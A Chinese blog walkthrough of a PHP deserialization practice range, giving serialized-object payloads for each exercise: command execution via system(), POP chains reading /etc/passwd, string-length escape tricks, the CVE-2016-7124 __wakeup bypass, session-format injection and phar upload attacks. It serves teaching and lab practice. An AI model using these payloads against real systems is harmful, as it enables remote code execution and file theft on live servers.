php反序列化靶场随笔分析

  • 项目地址:github.com/mcc0624/php_ser_Class

  • 推荐使用docker部署:https://hub.docker.com/r/mcc0624/ser/tags

前面讲了以下php基础,我们直接从class6开始实验

class6

访问页面,传一个序列化的字符串,php代码将其反序列化且调用对象的displayVar()方法
​
payload:
benben=O:4:"test":1:{s:1:"a";s:13:"system("id");";}
​
结果:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

class7

__construct(): 类的构造函数,当创建类的实例时自动调用。
__destruct(): 类的析构函数,当对象被销毁时自动调用。
​
例题:传一个序列化字符串,php代码反序列化为对象,当对象销毁时调用__destruct()
​
payload:
benben=O:4:"User":1:{s:3:"cmd";s:13:"system("id");";}
​
结果:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

class8

__sleep(): 执行serialize()时,先会调用这个函数。
​
传一个参数给对象,对象__sleep()方法调用system执行这个参数,然而php代码在序列化这个对象时,调用了__sleep()方法
​
payload:
benben=id
​
结果:
uid=33(www-data) gid=33(www-data) groups=33(www-data) N;
__wakeup(): 执行unserialize()时,先会调用这个函数。
​
传一个User 对象序列化后的字符串给参数,php代码会进行反序列化,触发__wakeup(),__wakeup()执行系统命令
​
payload:
benben=O:4:"User":2:{s:8:"username";s:2:"id";s:8:"nickname";N;}
​
结果:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

class9&class10

__toString(): 类被当作字符串时的回应方法。
__invoke(): 以函数方式调用对象时的回应方法。 
__call(): 当调用对象中不可访问的方法时调用
__callStatic(): 以静态方式调用不可访问方法时调用。
__get(): 读取不可访问属性的值时调用(成员属性不存在)
__set(): 设置不可访问属性的值时调用。(给不存在的成员赋值)
__isset(): 当对不可访问属性调用isset()或empty()时调用。
__unset(): 当对不可访问属性调用unset()时调用。
__clone(): 当对象被克隆时调用。

class11

问题:如果遇到private的属性,在生成序列化的字符串时,如何为其赋值?
操作1:可以先将private修改为public,然后生成序列化的字符串后,在字符串中向这个属性添加类名和%00
操作2:直接给这个类添加一个构造函数,构造函数帮助我们给private属性赋值,赋完值后打印其序列化后的字符串
​
evil类创建对象作为index类创建的对象的test属性,然而index对象的test属性是private,(obj_index->$test = obj_evil)
​
payload:
O:5:"index":1:{s:4:"test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}^^^^^^^^
修改后:
O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}^^^^^^^^^^^^^^^^^^^^
<?php
// 这个对应操作1
// 将index对象的test属性修改为public或去掉修饰符
class index {var $test;
}
class evil {var $test2;
}
$obj1 = new evil();
$obj1->test2 = 'system("id");';
$obj2 = new index();
$obj2->test = $obj1;
echo serialize($obj2);
/*
输出结果:O:5:"index":1:{s:4:"test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}^^^^^^^^
修改后:O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}^^^^^^^^^^^^^^^^^^^^
*/
?>
<?php
// 这个对应操作2    
class index {private $test;public function __construct(){$this->test = new evil();}
}
class evil {var $test2 = 'system("id");'; 
}
$obj = new index();
echo serialize($obj);
/*
输出结果:O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}
*/
?>

class12

目标:输出sec中的tostring is here!
​
payload:
benben=O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}
<?php
class fast {public $source;public function __wakeup(){echo "wakeup is here!!";echo  $this->source;}
}
class sec {var $benben;public function __tostring(){echo "tostring is here!!";}
}
​
$obj1 = new sec();
$obj2 = new fast();
$obj2->source = $obj1;
echo serialize($obj2);
?>

class13

1.较为敏感的方法:Modifier类中__invoke能触发include($this->var)
​
2.Modifier对象中__invoke()方法能被Test对象__get魔术方法触发
​
3.Test对象__get()魔术方法能被Show对象中的__toString()方法触发
​
4.Show对象中的__toString()方法,能被另一个show对象的__wakeup()方法触发
​
5.unserialize触发show对象的__wakeup()方法
Show1对象反序列化触发wakeup魔术方法 ---------> Show2对象的__toString()方法--------->Test对象的__get魔术方法           --------->Modifier对象的__invoke方法--------->include($this->var)
<?php
class Modifier {public $par;
}
​
class Show{public $source;public $str;
}
​
class Test{public $p;
}
​
$obj1_Modifier = new Modifier();
$obj1_Modifier->par = '../../../../../../etc/passwd';
​
$obj1_Test = new Test();
$obj1_Test->p = $obj1_Modifier;
​
$obj1_Show = new Show();
$obj1_Show->str = $obj1_Test;
​
$obj2_Show = new Show();
$obj2_Show->source = $obj1_Show;
​
echo serialize($obj2_Show);
?>
payload:
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:3:"par";s:28:"../../../../../../etc/passwd";}}}s:3:"str";N;}^^^^^
修改后:
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:28:"../../../../../../etc/passwd";}}}s:3:"str";N;}^^^^^^^^^^^^^^^^^^^^^

class14

对象序列化为字符串,字符串进行了过滤,过滤掉了"system()",导致字符串长度减少,因此字符串进行反序列化会失败。
那这种情况下,只要给出两个参数供攻击者输入,那么攻击者就能够控制所有属性(包括这两个属性之外的其他属性)
原理:参数1被过滤,导致序列化后v1的数值长度,与v1的实际长度不匹配,且大于实际长度,这时,构造参数2,让v1的值能一直覆盖到参数2来确保v1的数值长度和实际长度相匹配,然后再一次构造参数2用于构造其他属性,导致整个参数1和参数2的前面部分成为数值部分,而参数2的后面部分成为功能性代码
过滤条件:
"system()" -> ""        8 -> 0
​
结果:
O:1:"A":2:{s:2:"v1";s:n:"m个字符";s:2:"v2";s:x:"x个字符";}n = 参数1的长度,同时是v1的长度
x = 参数2的长度,不是v2的长度,因为其是属于v1的值,不是功能性代码
m = n被过滤后的长度
n = m + 13 + x的位数(通常是2位)+ 2 + 一个可控长度的字符串
n = m + 17 + 一个可控长度的字符串                                         
n至少比m多17个字符
​
输入n对应字符串(参数1):          system()system()system()        (n=24)(m=0)----->(根据:n = m + 17 + 一个可控长度的字符串,需要长度为7的可控字符串)
输入x对应字符串(参数2):          1234567";s:2:"v2";s:3:"123";}^^^^^^^^    ^^^^^^^^^^^^^^^^^长度为7的可控字符串     我们构造的名为v2的属性
结果:
O:1:"A":2:{s:2:"v1";s:24:"system()system()system()";s:2:"v2";s:29:"1234567";s:2:"v2";s:3:"123";}";}^^^^^^^^^^^^^^^^^^^^^^^^                ^^^^^^^^^  长度为n=24                             可控长度的字符串   
过滤后:
O:1:"A":2:{s:2:"v1";s:24:"";s:2:"v2";s:29:"1234567";s:2:"v2";s:3:"abc";}";}^^^^^^^^^^^^^^^^^^^^^^^^长度为n=24
v1 = 'system()system()system()';
v2 = '1234567";s:2:"v2";s:3:"123";}';
​
O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:29:"1234567";s:2:"v2";s:3:"123";}";}
​
object(A)#1 (2) {["v1"]=>string(27) "";s:2:"v2";s:29:"1234567"["v2"]=>string(3) "123"
}

class17(17是14的例题,所以放到前面)

过滤条件:
flag -> hk      4 -> 2
php  -> hk      3 -> 2
​
O:4:"test":3:{s:4:"user";s:n:"m个字符";s:4:"pass";s:x:"x个字符";s:3:"vip";b:0;}
​
n = 参数1的字符个数
m = n过滤后的字符的个数
x = 参数2字符个数
n = m + 15 + (x的位数,通常是2位) + 2 + 一个可控长度的字符串
n = m + 19 + 一个可控长度的字符串
​
所以n至少比m多19个字符
​
输入n对应字符串(参数1):      flagflagflagflagflagflagflagflagflagflag                (n=40)(m=20)---->(需要长度为1的可控字符串)
输入x对应字符串(参数2):      1";s:4:"pass";s:3:"123";s:3:"vip";b:1;}^^                      ^^^^^^^^^^^^^^^长度为1的可控字符串              构造vip属性来控制vip属性的值
O:4:"test":3:{s:4:"user";s:40:"hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:39:"1";s:4:"pass";s:3:"123";s:3:"vip";b:1;}";s:3:"vip";b:0;}
​
​
object(test)#1 (3) {["user"]=>string(40) "hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:39:"1"["pass"]=>string(3) "123"["vip"]=>bool(true)
}

class15

对序列化的字符串添加些字符,导致数值长度与实际长度不符
原理:通过构造第一个参数,使得参数的前面部分为数值,而后面部分作为功能性代码
添加条件:
ls -> pwd  (2 -> 3)
​
O:1:"A":2:{s:2:"v1";s:n:"m个字符";s:2:"v2";s:3:"123";}
​
n:参数1的长度,同时是v1的长度
m:n被添加后的长度
a:要构造其他参数的长度
n = m - a
​
要构造的字符串";s:2:"v2";s:3:"123";}
a=22
n = m - 22
​
参数 = lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v2";s:3:"123;}
​
payload:
O:1:"A":2:{s:2:"v1";s:66:"lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v2";s:3:"123";}";s:2:"v2";s:3:"123";}
添加后:
O:1:"A":2:{s:2:"v1";s:66:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd";s:2:"v2";s:3:"123";}";s:2:"v2";s:3:"123";}

class16

添加条件:
php -> hack  (3 -> 4)
​
O:4:"test":2:{s:4:"user";s:3:"123";s:4:"pass";s:8:"daydream";}
​
n:参数1的长度,也是user的长度
m:n被增加后的长度
a:要构造的字符串的长度
n = m - a
​
要构造的字符串";s:4:"pass";s:8:"escaping";}
a = 29
n = m - 29
​
payload:
参数 = phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
添加后:
O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}

class18

__wakeup()魔术方法绕过(CVE-2016-7124)
​
序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行
​
漏洞影响版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
payload:
O:+6:"secret":2:{s:4:"file";s:25:"../../../../../etc/passwd";}^           ^
这里绕过正则   这里绕过__wakeup的执行

class19

$obj->enter = &$obj->secret;
使用引用,使得$obj对象的enter和secret属性的值使用的是同一块内存
​
payload:
O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

class20

$_SESSION['benben'] = $_GET['ben'];
​
以上条件php会将获取到的ben值存储在session会话的benben属性,php先创建一个以session为名的文件,然后将ben进行序列化存储到这个文件中,例如:
​
当我们传递ben=1234时,存储的文件里的内容如下:
benben|s:4:"1234";
另外session属性存储进文件时有三种存储格式,以上演示的是php格式:
1.php格式:            键名+竖线+反序列化的属性
2.php_serialize格式:  反序列化的属性
3.php_binary格式:     二进制格式存储
​
第一种情况已经演示了,看第二种情况:
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
ben=123&b=456时,存储结果:
a:2:{s:6:"benben";s:3:"123";s:1:"b";s:3:"456";}
​
第三种情况:
ACKbenbens:3:"123";SOHbs:3:"456";
漏洞产生条件:session以php_serialize格式存储属性,而以php格式读取属性
漏洞原理:访问网页时,php后台代码是通过反序列化session对象来获取session属性的值
漏洞影响:我们向session属性中写入我们序列化好的对象,访问时会获取session并反序列化我们写的对象
​
访问save.php
$_SESSION['ben'] = $_GET['a'];
当提交a为如下字符串时
|O:1:"D":1:{s:1:"a";s:13:"system("ls");";}
文件存储内容如下,当以php格式解析并反序列化时
a:1:{s:3:"ben";s:42:"|O:1:"D":1:{s:1:"a";s:13:"system("ls");";}
^^^^^^^^^^^^^^^^^^^^^
竖线前的内容被认作键名,竖线后的内容被当作属性,而竖线后的内容我们可以构造
​
再访问vul.php将会执行恶意代码

class21

漏洞:还是上面的漏洞,提交时候用的是php_serialize格式,读的时候用的php格式
思路:构造payload提交(通过class20的save.php提交),使session属性存储在文件,然后再次访问
​
访问class20的save.php,payload如下:
|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}
再次访问class21的index.php,他会自动获取session会话,并反序列化session的属性,我们通过payload将Flag对象写入session属性,导致其反序列化
​
ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

class22

漏洞原理:生成的phar文件中,会将对象压缩成序列化的字符串,使用phar://协议加载文件时,会反序列化成为对象
漏洞条件:目标服务器能访问以phar://协议访问到你构造的phar文件
​
访问:http://localhost/class22/phar.php,会自动生成一个携带Testobj对象的phar文件
访问:http://localhost/class22/index.php,并传参:filename=phar://test.phar&a=phpinfo();
会反序列化phar文件中的Testobj对象

class23

class TestObject {public function __destruct() {include('flag.php');echo $flag;}
}
​
对TestObject进行反序列化自动获取flag,甚至不需要任何属性
<?php
//构造phar文件
highlight_file(__FILE__);
class TestObject
{ 
}
if (ini_get('phar.readonly') === 'On') {echo "phar.readonly is set to On";
} else {echo "phar.readonly is not set to On";
}
@unlink('test.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$o=new TestObject();
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>
以上代码获取phar文件后
访问http://localhost/class23/upload.php,上传图片,只能上传图片,就把后缀phar改为jpg/png
访问http://localhost/class23/index.php携带post参数file=phar://upload/test.jpg
会自动将test.jpg文件当作phar文件并反序列化,反序列化触发 __destruct()方法获取flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/59302.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

nginx代理websocket服务

一、nginx代理websocket服务 一&#xff09;nginx代理ws服务 在nginx中&#xff0c;可以通过proxy_pass指令来代理WebSocket服务。 以下是一个示例配置&#xff1a; map $http_upgrade $connection_upgrade {default upgrade; close; }upstream ws_backend {server 127.0.0.1:…

56合并区间 go解题

这里解法是直接找一个快排模板&#xff0c;然后排序了第一个数&#xff0c;所以需要多加一个判断逻辑并且稍微覆盖。 package mainimport "fmt"func main() {fmt.Println(merge([][]int{{0, 2}, {2, 3}, {4, 4}, {0, 1}, {5, 7}, {4, 5}, {0, 0}}))// fmt.Println(m…

贝叶斯+PINN!双重热点buff叠加,轻松斩获Nature子刊!

PINN一直以来都是顶会顶刊上的大热方向&#xff0c;相关研究量多且质量高。最近&#xff0c;有关“贝叶斯PINN”的研究取得了不少突破&#xff0c;多项成果被Neurips、Nature子刊等录用。 事实上&#xff0c;这个结合方向的研究热度正逐渐上升&#xff0c;因为其在提高泛化能力…

【rust】rust基础代码案例

文章目录 HelloWorld斐波那契数列计算表达式&#xff08;加减乘除&#xff09; HelloWorld fn main() {print!("Hello,Wolrd") }斐波那契数列 fn fib(n: u64) -> u64 {let mut a 0;let mut b 1;for _ in 0..n {let c a b;a b;b c;}a }fn main() {let n 1…

Python模拟真人动态生成鼠标滑动路径

一.简介 鼠标轨迹算法是一种模拟人类鼠标操作的程序&#xff0c;它能够模拟出自然而真实的鼠标移动路径。 鼠标轨迹算法的底层实现采用C/C语言&#xff0c;原因在于C/C提供了高性能的执行能力和直接访问操作系统底层资源的能力。 鼠标轨迹算法具有以下优势&#xff1a; 模拟…

从网络到缓存:在Android中高效管理图片加载

文章目录 在Android应用中实现图片缓存和下载项目结构使用 代码解析关键功能解析1. 图片加载方法2. 下载图片3. 保存图片到缓存4. 文件名提取 或者通过学习glide 首先我们需要在配置AndroidManifest.xml里面添加 <uses-permission android:name"android.permission.IN…

react-router与react-router-dom的区别

写法上的区别&#xff1a; 写法1: import {Swtich, Route, Router, HashHistory, Link} from react-router-dom;写法2: import {Switch, Route, Router} from react-router; import {HashHistory, Link} from react-router-dom;react-router实现了路由的核心功能 react-router-…

如何在C下比较两个字符串是否相同?

strcmp函数 strcmp函数是C标准库中用于比较两个字符串的函数。它的原型定义在string.h头文件中 函数原型&#xff1a; int strcmp(const char *str1, const char *str2); str1 和 str2 是两个要比较的字符串。返回值为整数类型&#xff1a; 如果返回值为0&#xff0c;表示两…

为数据集而生的 SQL 控制台

随着数据集的使用量急剧增加&#xff0c;Hugging Face 社区已经变成了众多数据集默认存放的仓库。每月&#xff0c;海量数据集被上传到社区&#xff0c;这些数据集亟需有效的查询、过滤和发现。 Dataset Monthly Creations 每个月在 Hugging Face Hub 创建的数据集 我们现在非常…

modelscope下载Qwen2.5 72B 模型方法

conda create -n modelscope python=3.10 conda activate modelscopepip install modelscope执行这个python代码: from modelscope.hub.snapshot_download import snapshot_download# 下载模型到当前路径 model_dir = snapshot_download(

【Git】如何在 Git 中高效合并分支:完整指南

目录 引言1. 切换到主分支1.1 切换分支命令1.2 相关命令1.3 切换分支示意图 2. 合并分支2.1 基本合并命令2.2 合并选项2.3 合并流程示意图 3. 解决冲突3.1 解决冲突的步骤3.2 相关命令3.3 解决冲突示意图 4. 本地更新分支4.1 拉取远程更改4.2 更新主分支4.3 拉取远程更新到本地…

2024年计算机视觉与图像处理国际学术会议 (CVIP 2024)

目录 大会简介 主办单位&#xff0c;协办单位 组委会 主讲嘉宾 征稿主题 参会方式 会议议程 重要信息 会议官网&#xff1a;iccvip.org 大会时间&#xff1a;2024年11月15日-17日 大会地点&#xff1a;中国 杭州 大会简介 2024年计算机视觉与图像处理国际学术会议(C…

【D3.js in Action 3 精译_039】4.3 D3 面积图的绘制方法及其边界标签的添加

当前内容所在位置&#xff1a; 第四章 直线、曲线与弧线的绘制 ✔️ 4.1 坐标轴的创建&#xff08;上篇&#xff09; 4.1.1 D3 中的边距约定&#xff08;中篇&#xff09;4.1.2 坐标轴的生成&#xff08;中篇&#xff09; 4.1.2.1 比例尺的声明&#xff08;中篇&#xff09;4.1…

使用 PyCharm 构建 FastAPI 项目:零基础入门 Web API 开发

使用 PyCharm 构建 FastAPI 项目&#xff1a;零基础入门 Web API 开发 本文提供了一份完整的 FastAPI 入门指南&#xff0c;涵盖从环境搭建、依赖安装到创建并运行一个简单的 FastAPI 应用的各个步骤。通过 FastAPI 和 Uvicorn&#xff0c;开发者可以快速构建现代化的 Web API…

通过AI进行大数据分析,提示广告投放效果,优衣库的AI实践

大家好&#xff0c;我是Shelly&#xff0c;一个专注于输出AI工具和科技前沿内容的AI应用教练&#xff0c;体验过300款以上的AI应用工具。关注科技及大模型领域对社会的影响10年。关注我一起驾驭AI工具&#xff0c;拥抱AI时代的到来。 AI工具集1&#xff1a;大厂AI工具【共23款…

Python小白学习教程从入门到入坑------第二十四课 继承(语法进阶)

一、继承 继承就是让类和类之间转变为父子关系&#xff0c;子类默认继承父类的属性和方法 在Python中&#xff0c;继承是一个非常强大的特性&#xff0c;它允许我们创建一个新的类&#xff08;称为子类&#xff09;&#xff0c;这个新类可以继承另一个类&#xff08;称为父类…

【django】RESTful API 设计指南

目录 一、协议 二、域名 三、版本&#xff08;Versioning&#xff09; 四、路径&#xff08;Endpoint&#xff09; 五、HTTP动词 5.1 CRUD操作&#xff1a; 5.2 其他动词&#xff1a; 六、过滤信息&#xff08;Filtering&#xff09; 七、状态码&#xff08;Status Co…

【综合算法学习】(第十六篇)

目录 岛屿的最⼤⾯积&#xff08;medium&#xff09; 题目解析 讲解算法原理 编写代码 被围绕的区域&#xff08;medium&#xff09; 题目解析 讲解算法原理 编写代码 岛屿的最⼤⾯积&#xff08;medium&#xff09; 题目解析 1.题目链接&#xff1a;. - 力扣&#xf…

django的一些文件

~~~settings.py~~~ # 接口文档相关配置 REST_FRAMEWORK{ DEFAULT_SCHEMA_CLASS: rest_framework.schemas.coreapi.AutoSchema, } ~~~urls.py~~~ from rest_framework.documentation import include_docs_urls # 模块coreapi,只针对drf的接口文档 path(api-docs/, i…